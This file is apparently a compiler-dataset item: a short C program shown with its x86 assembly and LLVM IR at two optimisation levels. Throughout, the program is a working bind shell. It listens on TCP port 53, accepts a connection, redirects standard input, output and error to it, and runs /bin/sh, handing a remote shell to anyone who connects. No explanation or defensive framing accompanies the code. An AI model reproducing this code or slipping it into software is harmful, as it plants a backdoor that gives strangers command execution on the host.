#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_port;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
typedef int /*<<< orphan*/ mysockaddr;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ INADDR_ANY;
int /*<<< orphan*/ SOCK_STREAM;
int accept(int, int /*<<< orphan*/ *, int /*<<< orphan*/ *);
int /*<<< orphan*/ bind(int, struct sockaddr *, int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execve(char *, int /*<<< orphan*/ *, int /*<<< orphan*/ *);
int /*<<< orphan*/ htons(int);
int /*<<< orphan*/ listen(int, int /*<<< orphan*/);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int main(void) {
  int clientfd, sockfd;
  int dstport = 53;
  int o = 1;
  struct sockaddr_in mysockaddr;
  sockfd = socket(AF_INET, SOCK_STREAM, 0);
  mysockaddr.sin_family = AF_INET;
  mysockaddr.sin_port = htons(dstport);
  mysockaddr.sin_addr.s_addr = INADDR_ANY;
  bind(sockfd, (struct sockaddr *)&mysockaddr, sizeof(mysockaddr));
  listen(sockfd, 0);
  clientfd = accept(sockfd, NULL, NULL);
  dup2(clientfd, 0);
  dup2(clientfd, 1);
  dup2(clientfd, 2);
  execve("/bin/sh", NULL, NULL);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
movl   $0x0,-0x4(%rbp)
movl   $0x35,-0x10(%rbp)
movl   $0x1,-0x14(%rbp)
mov    0x2e54(%rip),%rax
mov    (%rax),%edi
mov    0x2e33(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1090 <socket@plt>
mov    %eax,-0xc(%rbp)
mov    0x2e38(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x18(%rbp)
mov    -0x10(%rbp),%edi
call   1030 <htons@plt>
mov    %eax,-0x1c(%rbp)
mov    0x2e19(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x20(%rbp)
mov    -0xc(%rbp),%edi
lea    -0x20(%rbp),%rsi
mov    $0xc,%edx
call   1070 <bind@plt>
mov    -0xc(%rbp),%edi
xor    %esi,%esi
call   1060 <listen@plt>
mov    -0xc(%rbp),%edi
xor    %eax,%eax
mov    %eax,%edx
mov    %rdx,%rsi
call   1080 <accept@plt>
mov    %eax,-0x8(%rbp)
mov    -0x8(%rbp),%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    -0x8(%rbp),%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    -0x8(%rbp),%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
lea    0xddc(%rip),%rdi
xor    %eax,%eax
mov    %eax,%edx
mov    %rdx,%rsi
call   1050 <execve@plt>
xor    %eax,%eax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %r14
push   %rbx
sub    $0x18,%rsp
mov    0x2e6a(%rip),%r14
mov    (%r14),%edi
mov    0x2e48(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1090 <socket@plt>
mov    %eax,%ebx
mov    (%r14),%eax
mov    %eax,0x10(%rsp)
mov    $0x35,%edi
call   1030 <htons@plt>
mov    %eax,0xc(%rsp)
mov    0x2e31(%rip),%rax
mov    (%rax),%eax
mov    %eax,0x8(%rsp)
lea    0x8(%rsp),%rsi
mov    %ebx,%edi
mov    $0xc,%edx
call   1070 <bind@plt>
mov    %ebx,%edi
xor    %esi,%esi
call   1060 <listen@plt>
mov    %ebx,%edi
xor    %esi,%esi
xor    %edx,%edx
call   1080 <accept@plt>
mov    %eax,%ebx
mov    %eax,%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    %ebx,%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
lea    0xdfc(%rip),%rdi
xor    %esi,%esi
xor    %edx,%edx
call   1050 <execve@plt>
xor    %eax,%eax
add    $0x18,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@INADDR_ANY = global i32 0
@.str = [8 x i8] c"/bin/sh\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca i32
%4 = alloca i32
%5 = alloca i32
%6 = alloca %struct.sockaddr_in
store i32 0, i32* %1
store i32 53, i32* %4
store i32 1, i32* %5
%7 = load i32, i32* @AF_INET
%8 = load i32, i32* @SOCK_STREAM
%9 = call i32 @socket(i32 %7, i32 %8, i32 0)
store i32 %9, i32* %3
%10 = load i32, i32* @AF_INET
%11 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i32 0, i32 2
store i32 %10, i32* %11
%12 = load i32, i32* %4
%13 = call i32 @htons(i32 %12)
%14 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i32 0, i32 1
store i32 %13, i32* %14
%15 = load i32, i32* @INADDR_ANY
%16 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i32 0, i32 0
%17 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %16, i32 0, i32 0
store i32 %15, i32* %17
%18 = load i32, i32* %3
%19 = bitcast %struct.sockaddr_in* %6 to %struct.sockaddr*
%20 = call i32 @bind(i32 %18, %struct.sockaddr* %19, i32 12)
%21 = load i32, i32* %3
%22 = call i32 @listen(i32 %21, i32 0)
%23 = load i32, i32* %3
%24 = call i32 @accept(i32 %23, i32* null, i32* null)
store i32 %24, i32* %2
%25 = load i32, i32* %2
%26 = call i32 @dup2(i32 %25, i32 0)
%27 = load i32, i32* %2
%28 = call i32 @dup2(i32 %27, i32 1)
%29 = load i32, i32* %2
%30 = call i32 @dup2(i32 %29, i32 2)
%31 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i32* null, i32* null)
ret i32 0
}

LLVM IR (-O2):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@INADDR_ANY = global i32 0
@.str = [8 x i8] c"/bin/sh\00"
define i32 @main() {
%1 = alloca %struct.sockaddr_in
%2 = bitcast %struct.sockaddr_in* %1 to i8*
%3 = load i32, i32* @AF_INET
%4 = load i32, i32* @SOCK_STREAM
%5 = tail call i32 @socket(i32 %3, i32 %4, i32 0)
%6 = load i32, i32* @AF_INET
%7 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 2
store i32 %6, i32* %7
%8 = tail call i32 @htons(i32 53)
%9 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 1
store i32 %8, i32* %9
%10 = load i32, i32* @INADDR_ANY
%11 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 0, i32 0
store i32 %10, i32* %11
%12 = bitcast %struct.sockaddr_in* %1 to %struct.sockaddr*
%13 = call i32 @bind(i32 %5, %struct.sockaddr* %12, i32 12)
%14 = call i32 @listen(i32 %5, i32 0)
%15 = call i32 @accept(i32 %5, i32* null, i32* null)
%16 = call i32 @dup2(i32 %15, i32 0)
%17 = call i32 @dup2(i32 %15, i32 1)
%18 = call i32 @dup2(i32 %15, i32 2)
%19 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i32* null, i32* null)
ret i32 0
}